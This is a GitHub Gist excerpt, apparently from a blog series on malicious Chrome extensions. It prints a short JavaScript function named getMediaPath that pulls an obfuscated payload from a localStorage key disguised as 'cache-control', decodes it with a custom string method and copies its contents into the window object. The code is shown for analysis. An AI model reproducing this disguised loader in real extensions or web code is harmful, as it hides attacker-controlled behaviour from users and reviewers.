Created
February 7, 2021 19:40
-
-
Save Spiderpig86/1f721a2c287663ee800b9c203a8e749b to your computer and use it in GitHub Desktop.
Markdium-Extensions: Google Chrome's Soft Underbelly (Part 2)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
getMediaPath: function() { | |
var a = window.localStorage; | |
console.trace('getMediaPath', a); | |
if (a["cache-control"]) { | |
var b = a["cache-control"].split(","); | |
try { | |
var c; | |
for (var d in b) { | |
var e = b[d].trim(); | |
if (!(e.length < 10)) try { | |
if (c = e.strvstrevsstr(), c = "undefined" != typeof JSON && JSON.parse && JSON.parse(c), c && c.cache_c) { | |
for (var f in c) window[f] = c[f]; | |
A = !0; | |
break | |
} | |
} catch (g) {} | |
} | |
} catch (g) {} | |
this.setMediaPath() | |
} | |
}, |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment